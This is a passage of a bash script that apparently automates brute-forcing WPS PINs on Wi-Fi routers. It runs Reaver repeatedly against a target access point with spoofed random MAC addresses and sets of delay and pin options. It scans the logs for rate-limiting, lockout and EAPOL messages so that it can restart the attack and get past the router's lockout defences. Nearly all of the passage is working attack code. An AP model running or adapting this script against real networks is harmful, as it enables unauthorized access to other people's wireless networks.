if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R43 == n || $USE_R43 == N ]] && [[ $USE_LONG43 == y || $USE_LONG43 == Y ]] && [[ $USE_PIN43 == n || $USE_PIN43 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R43 == y || $USE_R43 == Y ]] && [[ $USE_LONG43 == y || $USE_LONG43 == Y ]] && [[ $USE_PIN43 == n || $USE_PIN43 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX43" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY43"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -r $RX43:$RY43 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R43 == n || $USE_R43 == N ]] && [[ $USE_LONG43 == n || $USE_LONG43 == N ]] && [[ $USE_PIN43 == y || $USE_PIN43 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -vv -x 60  --pin=$WPS_PIN43 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R43 == y || $USE_R43 == Y ]] && [[ $USE_LONG43 == n || $USE_LONG43 == N ]] && [[ $USE_PIN43 == y || $USE_PIN43 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX43" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY43"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -vv -x 60 -r $RX43:$RY43 --pin=$WPS_PIN43 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R43 == n || $USE_R43 == N ]] && [[ $USE_LONG43 == y || $USE_LONG43 == Y ]] && [[ $USE_PIN43 == y || $USE_PIN43 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
